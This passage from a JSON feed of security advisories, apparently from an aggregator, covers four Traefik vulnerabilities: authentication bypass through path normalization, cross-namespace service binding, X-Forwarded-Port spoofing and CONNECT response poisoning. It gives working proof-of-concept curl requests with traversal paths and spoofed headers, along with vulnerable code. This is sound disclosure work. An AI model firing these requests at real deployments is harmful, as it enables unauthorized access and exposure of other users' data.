http://localhost/api../admin\n# → ADMIN_SECRET_DATA (normalized=/admin)\n\n# URL-encoded variant:\ncurl -s http://localhost/api%2e%2e/admin\n# → ADMIN_SECRET_DATA (normalized=/admin)\n```\n\n**Configuration note:** The regex `^/api(.*)` (without slash separator before the capture group) is the exploitable pattern. This is the natural way to write a prefix-strip equivalent with ReplacePathRegex and is functionally identical to `StripPrefix(\"/api\")` for legitimate traffic. The pattern `^/api/(.*)` (with mandatory slash) is not exploitable - the same structural narrowing as CVE-2026-48020 where `StripPrefix(\"/api\")` was vulnerable but `StripPrefix(\"/api/\")` was not.\n\n\n### Impact\nAuthentication bypass. Any route protected by auth middleware on a separate router (BasicAuth, ForwardAuth, DigestAuth) can be accessed without credentials by an unauthenticated network attacker via a single HTTP request. Both read and write operations (GET/POST/PUT/DELETE) bypass authentication. The vulnerability affects deployments using ReplacePathRegex for prefix stripping - a common, documented configuration pattern.\n\n\u003c/details\u003e\n\n---","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-08-06T16:51:10.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","references":["https://github.com/traefik/traefik/security/advisories/GHSA-cxjq-mrr5-89rv","https://nvd.nist.gov/vuln/detail/CVE-2026-65600","https://github.com/traefik/traefik/commit/3f10dd442479530560f010167cac2947676d9b29","https://github.com/traefik/traefik/releases/tag/v2.11.52","https://github.com/traefik/traefik/releases/tag/v3.6.23","https://github.com/traefik/traefik/releases/tag/v3.7.7","https://www.vulncheck.com/advisories/traefik-before-authentication-bypass-via-replacepathregex","https://github.com/advisories/GHSA-cxjq-mrr5-89rv"],"source_kind":"github","identifiers":["GHSA-cxjq-mrr5-89rv","CVE-2026-65600"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-06T17:00:09.278Z","updated_at":"2026-10-17T07:04:20.920Z","epss_percentage":0.00621,"epss_percentile":0.48562,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jeGpxLW1ycjUtODlyds4ABhno","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jeGpxLW1ycjUtODlyds4ABhno","packages":[{"ecosystem":"go","package_name":"github.com/traefik/traefik","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.7.34"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik"},{"ecosystem":"go","package_name":"github.com/traefik/traefik/v3","versions":[{"first_patched_version":"3.7.7","vulnerable_version_range":"\u003e= 3.7.0, \u003c= 3.7.6"},{"first_patched_version":"3.6.23","vulnerable_version_range":"\u003c= 3.6.22"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik%2Fv3"},{"ecosystem":"go","package_name":"github.com/traefik/traefik/v2","versions":[{"first_patched_version":"2.11.52","vulnerable_version_range":"\u003c= 2.11.51"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik%2Fv2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jeGpxLW1ycjUtODlyds4ABhno/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02MmZjLTg2ODYtaGZtcc4ABhnd","url":"https://github.com/advisories/GHSA-62fc-8686-hfmq","title":"Traefik: `allowCrossNamespace=false` bypass via `@kubernetescrd` TraefikService backendRef","description":"## Summary\n\nThere is a medium severity vulnerability in Traefik's Kubernetes CRD provider. When `providers.kubernetesCRD.allowCrossNamespace` is disabled — the default — cross-namespace `@kubernetescrd` references are rejected for middlewares, TLS options and HTTP/TCP ServersTransports, but the same restriction was not applied to `TraefikService` backend references resolved by the service resolver. A tenant confined by RBAC to a single namespace can therefore bind its own router to a `TraefikService` owned by another namespace and expose or reroute that namespace's backend, defeating the namespace isolation `allowCrossNamespace=false` is meant to enforce. Traefik v2 releases and the unmaintained v3 minor lines below v3.6 are affected and will not receive a patch on their own line; the remedy for those users is upgrading to a maintained, patched release.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.54\n- https://github.com/traefik/traefik/releases/tag/v3.6.25\n- https://github.com/traefik/traefik/releases/tag/v3.7.10\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n### Summary\nWhen `providers.kubernetesCRD.allowCrossNamespace=false` (the default), Traefik correctly rejects cross-namespace `@kubernetescrd` references for middlewares, TLS options, and HTTP/TCP `ServersTransport`, but it does not apply the same restriction to service (`TraefikService`) backendRefs. As a result, a Kubernetes tenant who is confined by RBAC to their own namespace can bind their own router to a `TraefikService` owned by another namespace simply by referencing it as `\u003cvictim-namespace\u003e-\u003cname\u003e@kubernetescrd`, defeating the namespace-isolation boundary that `allowCrossNamespace=false` is meant to enforce.\n\nThis is the service-resolver sibling of the cross-namespace isolation family that Traefik has been fixing one resolver at a time (`df00d82f` / CVE-2026-41174 for Chain middlewares, and `67501cbe` for TCP `ServersTransport`, which shipped in v3.7.7 only four days before the analyzed commit). The `TraefikService` resolver in `configBuilder.nameAndService` was never given the guard its sibling resolvers received.\n\n### Details\n### Root cause\n\n`nameAndService` only performs the same-namespace check (`isNamespaceAllowed`) inside the branch that handles names without an `@` separator. For names that contain an `@` separator (that is, `@kubernetescrd` cross-namespace references) it applies only the `crossProviderNamespaces` allowlist check, and that check returns `true` by default because a `nil` allowlist means \"unrestricted\". It never applies the `!allowCrossNamespace \u0026\u0026 strings.HasSuffix(name, \"@kubernetescrd\")` rejection that the sibling resolvers all apply, so `allowCrossNamespace=false` is effectively never consulted for `@kubernetescrd` service references.\n\n### Vulnerable code\n\n```go\n// pkg/provider/kubernetes/crd/kubernetes_http.go:662-695 — nameAndService (VULNERABLE)\nfunc (c configBuilder) nameAndService(ctx context.Context, parentNamespace string, service traefikv1alpha1.LoadBalancerSpec) (string, *dynamic.Service, error) {\n\tsvcCtx := log.Ctx(ctx).With().Str(logs.ServiceName, service.Name).Logger().WithContext(ctx)\n\n\tif !strings.Contains(service.Name, providerNamespaceSeparator) { // 665: only names WITHOUT \"@\"\n\t\tservice = *service.DeepCopy()\n\t\tservice.Namespace = namespaceOrParentNamespace(service.Namespace, parentNamespace)\n\t\tif !isNamespaceAllowed(c.allowCrossNamespace, parentNamespace, service.Namespace) { // 669\n\t\t\treturn \"\", nil, fmt.Errorf(\"service %s/%s not in the parent resource namespace %s\", ...)\n\t\t}\n\t}\n\n\t// 674: for \"@\"-names, the ONLY gate is crossProviderNamespaces, which defaults to allow-all (nil).\n\tif !isCrossProviderNamespaceAllowed(c.crossProviderNamespaces, parentNamespace) \u0026\u0026 strings.Contains(service.Name, providerNamespaceSeparator) {\n\t\treturn \"\", nil, fmt.Errorf(\"service %q reference is not allowed: ...\", service.Name)\n\t}\n\t// ^-- MISSING: no `!c.allowCrossNamespace \u0026\u0026 strings.HasSuffix(service.Name, \"@\"+ProviderName)` rejection.\n\n\tswitch service.Kind {\n\tcase \"TraefikService\":\n\t\treturn fullServiceName(svcCtx, service, intstr.FromInt(0)), nil, nil // 690: returns the cross-namespace reference\n\t...\n\t}\n}\n```\n\nFor comparison, the sibling resolver used for middleware and TLS references does carry the guard:\n\n```go\n// pkg/provider/kubernetes/crd/kubernetes.go:1653-1668 — resolveReference (CORRECT)\nfunc resolveReference(ctx context.Context, parentNs, ns, name string, crossProviderNamespaces []string, allowCrossNamespace bool) (string, error) {\n\tif strings.Contains(name, providerNamespaceSeparator) {\n\t\tif !allowCrossNamespace \u0026\u0026 strings.HasSuffix(name, providerNamespaceSeparator+ProviderName) {\n\t\t\treturn \"\", errors.New(\"when allowCrossNamespace is disabled, @kubernetescrd references are disallowed\") // 1656 — THE GUARD\n\t\t}\n\t\t...\n\t}\n\t...\n}\n```\n\nThe same guard is also present at `pkg/provider/kubernetes/crd/kubernetes_http.go:500` (`makeServersTransportKey`, HTTP) and `pkg/provider/kubernetes/crd/kubernetes_tcp.go:316` (`makeTCPServersTransportKey`, TCP, added by commit `67501cbe`). Only the service resolver `nameAndService` lacks it.\n\n### Data flow\n\nAn `IngressRoute` created by a tenant in namespace `attacker` declares a route service `{ name: \"victim-backend@kubernetescrd\", kind: TraefikService }`; the tenant controls this reference string. In `nameAndService`, because the name contains `@`, the same-namespace check at line 669 is skipped, and `isCrossProviderNamespaceAllowed(nil, \"attacker\")` returns `true` under the default `nil` allowlist, so no rejection fires. `fullServiceName` then resolves the reference to the victim namespace's `TraefikService`, and the attacker's HTTP router is generated and bound to the victim's backend. At runtime the attacker's `Host(...)` route forwards to namespace `victim`'s backend pods.\n\n### Default reachability\n\n`AllowCrossNamespace` defaults to `false` (`pkg/provider/kubernetes/crd/kubernetes.go:57`, never set to `true` by any `SetDefaults`), so the isolation this bug bypasses is on by default. `CrossProviderNamespaces` defaults to `nil`, and `isCrossProviderNamespaceAllowed` returns `true` for a `nil` allowlist (`pkg/provider/kubernetes/crd/kubernetes.go:1645-1651`), so the only check `nameAndService` applies to an `@`-name is inert by default. The attacker needs only namespace-scoped RBAC to create an `IngressRoute` or `TraefikService` in their own namespace (the standard hard-multi-tenant Traefik setup) and knowledge of the target `TraefikService`'s namespace and name.\n\n### PoC\nA table-style harness was added to the CRD provider package. It defines a victim `TraefikService` (`backend` in namespace `victim`, backed by a real endpoint) and an attacker `IngressRoute` (namespace `attacker`) that references it via `victim-backend@kubernetescrd`, plus a control route that references a victim `Middleware` via `victim-mw@kubernetescrd`. The control route is given a valid local service so that the only reason it could be dropped is the cross-namespace middleware guard. The provider is run with `AllowCrossNamespace: false` and `CrossProviderNamespaces: nil` (both defaults).\n\n```\n$ go test -run TestPoC_CrossNamespaceServiceBypass ./pkg/provider/kubernetes/crd/ -v\n\nHTTP routers:  [attacker-attacker-svc-route-7df4381938699bd21215]\nHTTP services: [victim-whoami-victim-80 victim-backend]\nCONTROL OK: cross-ns MIDDLEWARE ref (victim-mw@kubernetescrd) rejected -\u003e router dropped\nBYPASS CONFIRMED: attacker router bound to cross-ns service \"victim-backend\" despite AllowCrossNamespace=false\n```\n\nThe control route (middleware reference) is dropped even though it has a valid local service, confirming that the isolation control is active for middlewares; the service route survives and its `Service` field resolves to `victim-backend`, with the victim's services pulled into the generated configuration and reachable through the attacker's router.\n\nThe harness also runs two corroborating cases. With `AllowCrossNamespace=false` and `CrossProviderNamespaces=[\"someotherns\"]` (an allowlist that excludes the attacker), the service reference is blocked, which proves that the only gate ever applied to an `@kubernetescrd` service name is `crossProviderNamespaces` (inert by default) and that `allowCrossNamespace=false` is never consulted. With `AllowCrossNamespace=true`, both the service and middleware references are accepted, as expected when isolation is intentionally disabled.\n\n### Impact\nIn a multi-tenant cluster relying on `allowCrossNamespace=false` for namespace isolation, a tenant confined to their own namespace can attach their own router (their own `Host` rule and entrypoint) to another tenant's `TraefikService` backend, exposing an otherwise internal-only service on the data plane under the attacker's hostname, and can route or mirror traffic to another namespace's backend that they should not be able to reference.\n\n\n\u003c/details\u003e\n---","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-08-06T16:38:37.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.8,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N","references":["https://github.com/traefik/traefik/security/advisories/GHSA-62fc-8686-hfmq","https://github.com/traefik/traefik/commit/65ebf4b47fbdc33e3856803a5844a404e094d52d","https://github.com/traefik/traefik/releases/tag/v2.11.54","https://github.com/traefik/traefik/releases/tag/v3.6.25","https://github.com/traefik/traefik/releases/tag/v3.7.10","https://github.com/advisories/GHSA-62fc-8686-hfmq"],"source_kind":"github","identifiers":["GHSA-62fc-8686-hfmq","CVE-2026-71325"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-06T17:00:09.278Z","updated_at":"2026-10-08T07:46:29.278Z","epss_percentage":0.00155,"epss_percentile":0.03889,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02MmZjLTg2ODYtaGZtcc4ABhnd","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02MmZjLTg2ODYtaGZtcc4ABhnd","packages":[{"ecosystem":"go","package_name":"github.com/traefik/traefik","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.7.34"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik"},{"ecosystem":"go","package_name":"github.com/traefik/traefik/v3","versions":[{"first_patched_version":"3.7.10","vulnerable_version_range":"\u003e= 3.7.0, \u003c= 3.7.9"},{"first_patched_version":"3.6.25","vulnerable_version_range":"\u003e= 3.0.0, \u003c= 3.6.24"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik%2Fv3"},{"ecosystem":"go","package_name":"github.com/traefik/traefik/v2","versions":[{"first_patched_version":"2.11.54","vulnerable_version_range":"\u003c= 2.11.53"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik%2Fv2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02MmZjLTg2ODYtaGZtcc4ABhnd/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zcTlyLXA2NjItNWo4bc4ABhnc","url":"https://github.com/advisories/GHSA-3q9r-p662-5j8m","title":"Traefik: ForwardAuth middleware leaks X-Forwarded-Port spoofing via untrusted X-Forwarded-Proto when trustForwardHeader=false","description":"## Summary\n\nThere is a medium severity vulnerability in Traefik's ForwardAuth middleware. Even when configured with `trustForwardHeader: false`, Traefik derives the `X-Forwarded-Port` header sent to the authentication service from the original incoming request instead of the sanitized forwarded request. As a result, an unauthenticated remote attacker can inject an `X-Forwarded-Proto: https` header over a plain HTTP connection and cause Traefik to forward `X-Forwarded-Port: 443` to the auth service, bypassing port-based authorization checks. This is a regression of the incomplete fix for GHSA-6384-m2mw-rf54, which addressed the `X-Forwarded-Proto` and `X-Forwarded-Prefix` spoofing vectors but missed the `X-Forwarded-Port` vector.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.51\n- https://github.com/traefik/traefik/releases/tag/v3.6.22\n- https://github.com/traefik/traefik/releases/tag/v3.7.6\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n### Summary\n\n  The ForwardAuth middleware, even when configured with `trustForwardHeader: false`,\n  still derives the `X-Forwarded-Port` header sent to the authentication service by\n  reading the **attacker-controlled** `X-Forwarded-Proto` header from the original\n  incoming request. This allows an unauthenticated remote attacker to cause Traefik\n  to forward `X-Forwarded-Port: 443` to the auth service on a plain HTTP connection,\n  creating an inconsistency that can bypass port-based authorization checks.\n\n  ### Details\n\n  The fix introduced in commit `5e1de2258` (released as part of the April 2026 security\n  advisory GHSA-6384-m2mw-rf54) correctly strips all X-Forwarded-* headers from the\n  forwarded auth request when `trustForwardHeader=false`, and reconstructs\n  `X-Forwarded-Proto` from the actual TLS state of the connection (`req.TLS`).\n\n  However, the reconstruction of `X-Forwarded-Port` is delegated to the helper\n  `forwardedPort(req)` which receives the **original request** (`req`) rather than\n  the sanitized forward request (`forwardReq`):\n\n  ```go\n  // pkg/middlewares/auth/forward.go – writeHeader()\n  if !trustForwardHeader {\n      forwardedheaders.DeleteXForwardedHeaders(forwardReq.Header) // strips all X-Fwd-* from forwardReq\n  }\n  // ...\n  if _, ok := forwardReq.Header[forwardedheaders.XForwardedPort]; !ok {\n      forwardReq.Header.Set(forwardedheaders.XForwardedPort, forwardedPort(req)) // ← req = ORIGINAL\n  }\n\n  // pkg/middlewares/auth/forward.go – forwardedPort()\n  func forwardedPort(req *http.Request) string {\n      if _, port, err := net.SplitHostPort(req.Host); err == nil \u0026\u0026 port != \"\" {\n          return port\n      }\n      // Reads attacker-controlled header on the ORIGINAL request:\n      if req.Header.Get(forwardedheaders.XForwardedProto) == \"https\" || ... {\n          return \"443\"\n      }\n      if req.TLS != nil {\n          return \"443\"\n      }\n      return \"80\"\n  }\n\n  Result when trustForwardHeader=false and attacker sends X-Forwarded-Proto: https\n  on a plain HTTP connection:\n\n  ┌──────────────────────────────────┬──────────┬────────┐\n  │ Header forwarded to auth service │ Expected │ Actual │\n  ├──────────────────────────────────┼──────────┼────────┤\n  │ X-Forwarded-Proto                │ http     │ http ✓ │\n  ├──────────────────────────────────┼──────────┼────────┤\n  │ X-Forwarded-Port                 │ 80       │ 443 ✗  │\n  └──────────────────────────────────┴──────────┴────────┘\n```\n  The inconsistency between Proto=http and Port=443 is exploitable against any\n  authentication service that gates access based on X-Forwarded-Port.\n\n  ### PoC\n\n  Traefik configuration:\n\n  ```http:\n    middlewares:\n      my-auth:\n        forwardAuth:\n          address: \"http://auth-service/\"\n          trustForwardHeader: false  # security setting, but still bypassable\n    routers:\n      api:\n        rule: \"PathPrefix(`/api`)\"\n        middlewares:\n          - my-auth\n        service: backend\n\n  Auth service logic (example victim):\n  # auth-service checks: only port 443 requests are considered \"secure\"\n  port = request.headers.get(\"X-Forwarded-Port\", \"80\")\n  proto = request.headers.get(\"X-Forwarded-Proto\", \"http\")\n  if port == \"443\":\n      return 200  # grant access\n  return 403\n```\n  Attack:\n\n  Plain HTTP connection, no TLS – but spoofs port 443\n  curl -H \"X-Forwarded-Proto: https\" http://traefik.example.com/api/admin\n  Auth service receives X-Forwarded-Port: 443 → grants access\n\n  Verification: Enable Traefik debug logging and observe X-Forwarded-Port: 443\n  in the auth request while the connection is plain HTTP.\n\n ### Impact\n\n  Any deployment using the ForwardAuth middleware with trustForwardHeader: false where\n  the downstream authentication service uses X-Forwarded-Port to make authorization\n  decisions is vulnerable to privilege escalation. An unauthenticated attacker can\n  bypass port-based security checks (e.g., \"only allow requests arriving on HTTPS port\n  443\") by injecting a single X-Forwarded-Proto: https header on a plain HTTP\n  connection.\n\n  This is a regression of the incomplete fix for GHSA-6384-m2mw-rf54: while the\n  X-Forwarded-Prefix and X-Forwarded-Proto spoofing vectors were addressed, the\n  X-Forwarded-Port vector was missed.\n\n\u003c/details\u003e\n\n---","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-08-06T16:38:29.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N","references":["https://github.com/traefik/traefik/security/advisories/GHSA-3q9r-p662-5j8m","https://nvd.nist.gov/vuln/detail/CVE-2026-54764","https://github.com/traefik/traefik/pull/13344","https://github.com/traefik/traefik/commit/7ae92d8c2c10ac04ef5a03df0ed5019ce0f44b2d","https://github.com/traefik/traefik/releases/tag/v2.11.51","https://github.com/traefik/traefik/releases/tag/v3.6.22","https://github.com/traefik/traefik/releases/tag/v3.7.6","https://github.com/advisories/GHSA-3q9r-p662-5j8m"],"source_kind":"github","identifiers":["GHSA-3q9r-p662-5j8m","CVE-2026-54764"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-06T17:00:09.278Z","updated_at":"2026-10-08T07:46:29.279Z","epss_percentage":0.00281,"epss_percentile":0.18529,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zcTlyLXA2NjItNWo4bc4ABhnc","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zcTlyLXA2NjItNWo4bc4ABhnc","packages":[{"ecosystem":"go","package_name":"github.com/traefik/traefik","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.7.34"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik"},{"ecosystem":"go","package_name":"github.com/traefik/traefik/v3","versions":[{"first_patched_version":"3.7.6","vulnerable_version_range":"\u003e= 3.7.0, \u003c= 3.7.5"},{"first_patched_version":"3.6.22","vulnerable_version_range":"\u003c= 3.6.21"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik%2Fv3"},{"ecosystem":"go","package_name":"github.com/traefik/traefik/v2","versions":[{"first_patched_version":"2.11.51","vulnerable_version_range":"\u003c= 2.11.50"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik%2Fv2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zcTlyLXA2NjItNWo4bc4ABhnc/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zY2NwLTQycGctaGd2Ns4ABhnZ","url":"https://github.com/advisories/GHSA-3ccp-42pg-hgv6","title":"Traefik: Cross-user response poisoning via proxied CONNECT on Traefik's shared backend keep-alive pool","description":"## Summary\n\nThere is a critical vulnerability in Traefik's default HTTP reverse proxy that leads to unauthenticated cross-user response poisoning. When a client opens an HTTP/2 or HTTP/3 `CONNECT` request, Traefik forwards it — body included — to an HTTP/1.1 upstream over a shared `net/http.Transport`. If the upstream answers the CONNECT with a keep-alive non-2xx response without draining the body, the now-desynchronized backend socket is returned to Traefik's shared connection pool and reused for other clients, letting an attacker make a different client read a response the attacker smuggled — which may be another user's authenticated or private content. The entrypoint's `sanitizePath` option (default `true`) is not a reliable defense: backends that answer `CONNECT /` with a keep-alive non-2xx remain exploitable. The experimental FastProxy implementation was not affected. The issue is fixed by deferring the forwarded CONNECT payload until the backend accepts the tunnel, by not returning CONNECT connections to the shared idle pool, and by discarding the CONNECT body in the ForwardAuth path.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.53\n- https://github.com/traefik/traefik/releases/tag/v3.6.24\n- https://github.com/traefik/traefik/releases/tag/v3.7.9\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n## Summary\n\nTraefik's default reverse proxy forwards a plain HTTP/2 or HTTP/3 `CONNECT` request and its body to\nan HTTP/1.1 upstream through a shared `net/http.Transport`. When the upstream answers the CONNECT\nwith a keep-alive non-2xx response and does not drain the body, Traefik returns the now\ndesynchronized backend socket to its shared pool and reuses it for other clients. An\nunauthenticated attacker uses this to make a different client read the attacker's smuggled response.\n\nTraefik's default proxy is `net/http/httputil.ReverseProxy` over a shared `http.Transport`, so it\ninherits the same root cause as the Caddy `reverse_proxy` CONNECT pool poisoning.\n\nTraefik ships one partial mitigation Caddy does not. The entrypoint option `sanitizePath` (default\n`true`) rewrites the forwarded CONNECT's empty path to `/`, so Traefik emits `CONNECT /` instead of\nauthority-form `CONNECT host:port`. This is not a reliable defense. It avoids the smuggle only\nagainst backends that reject `CONNECT /` by closing the connection (Apache, nginx). Backends that\nanswer `CONNECT /` with a keep-alive non-2xx and leave the body undrained still cross. That set\nincludes any Go `net/http` server and gunicorn/Flask.\n\nConfirmed on the official image `traefik:v3.6.23` (a currently supported release), default\nconfiguration, against stock `go-httpbin` (Go) and `kennethreitz/httpbin` (Python gunicorn/Flask),\nattacker and victim in separate containers, over both HTTP/2 and HTTP/3.\n\n## Affected\n\n- `traefik:v3.6.23` (official image) and current v3, default configuration, standard proxy to an\n  HTTP/1.1 upstream. Backend keep-alive pooling is on by default (`MaxIdleConnsPerHost` 200).\n- Attacker frontend is HTTP/2 or HTTP/3. An HTTP/1.1 frontend is not affected.\n- The upstream keeps the connection alive after a non-2xx to the forwarded CONNECT and does not\n  drain the body.\n- The experimental FastProxy implementation is not affected (see Not affected).\n\n## Details\n\nThree behaviors compose.\n\n1. Traefik forwards a plain CONNECT as an ordinary proxied request. The default proxy is\n   `httputil.ReverseProxy` with a shared `http.Transport` (`pkg/proxy/httputil/proxy.go`). The\n   director assigns the outbound `URL.Host` directly and does not reject CONNECT, leaving the\n   request body a live stream. The client places a raw HTTP/1.1 request in that body (H2/H3 DATA\n   frames), which is written onto the backend socket after the CONNECT header block.\n\n2. `net/http` writes the CONNECT body unframed and pools the socket. For a CONNECT the transport\n   writes the body with no `Content-Length` and no `Transfer-Encoding`. The upstream answers a\n   keep-alive non-2xx and parses the trailing bytes as a pipelined request. Go reads the non-2xx\n   response and returns the socket to the shared idle pool once the request body reaches EOF (the\n   `wroteRequest` gate), while the smuggled request's response is still pending.\n\n3. Desynchronized reuse. The smuggled request targets a slow endpoint so its response arrives after\n   the socket is pooled. A different client that reuses the socket reads the pending smuggled\n   response as its own.\n\n`sanitizePath` (default `true`, `pkg/server/server_entrypoint_tcp.go`) calls `req.URL.JoinPath()`,\nwhich turns the CONNECT's empty path into `/`. Traefik emits `CONNECT /`. Whether that stops the\nsmuggle depends only on the backend: Apache and nginx answer `400 Bad Request` with\n`Connection: close` (socket torn down, no cross); Go `net/http` and gunicorn/Flask answer a\nkeep-alive non-2xx and pipeline the trailing bytes (cross). With `sanitizePath` off, Traefik emits\nauthority-form `CONNECT host:port`, which Apache answers with a keep-alive `405`.\n\nHTTP/2 and HTTP/3 only. Pooling requires the forwarded request body to reach EOF. An H2/H3 client\nhalf-closes the CONNECT stream (END_STREAM), so the body reaches EOF while the connection stays open\nand the socket is pooled. An H1 CONNECT body is the tunnel and cannot reach EOF without closing the\nconnection, so the socket is closed, not pooled. HTTP/3 routes to the same handler chain as HTTPS.\n\n## Backend behavior\n\n\"Armed\" means the backend answers with a keep-alive non-2xx and parses the trailing undrained bytes\nas a pipelined request. Default Traefik emits `CONNECT /`; with `sanitizePath: false` it emits\nauthority-form `CONNECT host:port`.\n\n| Backend (stock image)   | Server         | `CONNECT /` (default)      | authority-form CONNECT |\n|-------------------------|----------------|----------------------------|------------------------|\n| `mccutchen/go-httpbin`  | Go net/http    | armed (405 keep-alive)     | armed                  |\n| `traefik/whoami`        | Go net/http    | armed (200 keep-alive)     | armed                  |\n| `caddy:2`               | Go net/http    | armed (405 keep-alive)     | armed                  |\n| `kennethreitz/httpbin`  | gunicorn/Flask | armed (405 keep-alive)     | armed                  |\n| `httpd:2.4`             | Apache         | not armed (400 close)      | armed (405 keep-alive) |\n| `nginx:alpine`          | nginx          | not armed (400 close)      | not armed (400 close)  |\n| `tomcat:10`             | Tomcat         | not armed (501 close)      | -                      |\n| node `http`             | Node.js        | not armed (closes)         | -                      |\n| `python -m http.server` | Python stdlib  | not armed (501 close)      | -                      |\n\n## Impact\n\nUnauthenticated cross-user HTTP response poisoning. One client receives another client's response,\nwhich can be authenticated or private content, or an attacker-chosen response.\n\nBlast radius depends on the pool. With the default pool and a slow smuggled endpoint the crossing is\nreliable for a converging victim. With a bounded pool one desync shifts the whole response queue:\nmeasured with `MaxIdleConnsPerHost 1` and a slow victim endpoint, 8 of 8 sequential victims read a\nresponse that was not their own (1 the attacker's, 7 another user's, 0 their own). Traefik does not\nexpose `MaxConnsPerHost`, so the parallel cascade is weaker than Caddy's.\n\n## Proof of concept\n\n`poc/run.sh` runs the official `traefik:v3.6.23` image fronting real off-the-shelf backends over\nHTTP/1.1, with attacker and victim in separate containers. Requires docker and python3. It builds\nthe attack client, pulls the stock images, and runs the scenarios below.\n\nThe attacker opens an H2 or H3 `CONNECT` to Traefik and sends a raw HTTP/1.1\n`GET /delay/2?tag=ATTACKERSMUGGLED` as the CONNECT body, then half-closes the stream. Traefik\nforwards the CONNECT to the Go/Python backend, the backend answers a keep-alive non-2xx, keeps the\nsocket, and parses the trailing GET as a pipelined request, so a response to it is queued on that\nsocket. `net/http` returns the socket to Traefik's shared pool. The victim then sends\n`GET /get?tag=VICTIMOWN` on its own connection, Traefik reuses the pooled backend socket, and the\nvictim reads the queued `/delay` response instead of its own. `CROSS` means the victim received a\nresponse that was not its own.\n\n## Expected output from poc\n\n```\n== core: DEFAULT config, cross-user poisoning vs real off-the-shelf backends ==\n  [core-go-h2] h2-\u003eh2 CROSS\n  [core-go-h3] h3-\u003eh3 CROSS\n  [core-go-x] h2-\u003eh3 CROSS\n  [core-py-h2] h2-\u003eh2 CROSS\n  [core-py-h3] h3-\u003eh3 CROSS\n== mechanism: sanitizePath off -\u003e stock Apache 405 (the direct Caddy analogue) ==\n  [mech-ap-h2] h2-\u003eh2 CROSS\n  [mech-ap-h3] h3-\u003eh3 CROSS\n== controls: must NOT cross ==\n  [ctl-apache] h2-\u003eh2 NO_CROSS\n  [ctl-pooloff] h2-\u003eh2 NO_CROSS\n  [ctl-kaoff] h2-\u003eh2 NO_CROSS\n== safe variant: experimental FastProxy chunk-frames the CONNECT body ==\n  [safe-fast] h2-\u003eh2 NO_CROSS\n== cascade: bounded pool, one desync poisons a queue of victims ==\n  smuggled=1 other_user=7 own=0 of 8 (cross-user poisoned=8)\nRESULT: PASS\n```\n\n- Core rows. DEFAULT Traefik config against a Go backend (`go-httpbin`) and a Python gunicorn/Flask\n  backend (`kennethreitz/httpbin`), for H2-\u003eH2, H3-\u003eH3, and H2-\u003eH3. The victim reads the attacker's\n  smuggled response.\n- Mechanism rows. `sanitizePath` off and stock Apache. Traefik emits authority-form\n  `CONNECT apache-backend:80`, Apache answers a keep-alive `405`, and it crosses. This is the direct\n  Caddy analogue and proves the full mechanism including Apache.\n- Control rows. `ctl-apache` runs the default config against Apache, which closes `CONNECT /`;\n  `ctl-pooloff` disables Traefik backend reuse (`maxIdleConnsPerHost: -1`); `ctl-kaoff` runs Apache\n  with `KeepAlive Off`. All three print `NO_CROSS`, so the crossing depends on backend socket reuse,\n  not pipelining or a shared client.\n- Safe variant. Experimental FastProxy against the Go backend prints `NO_CROSS` because it\n  chunk-frames the CONNECT body.\n- Cascade. `MaxIdleConnsPerHost 1` and a slow victim endpoint. One CONNECT desync shifts the queue:\n  of 8 sequential victims, 1 reads the attacker's smuggled response, 7 read another 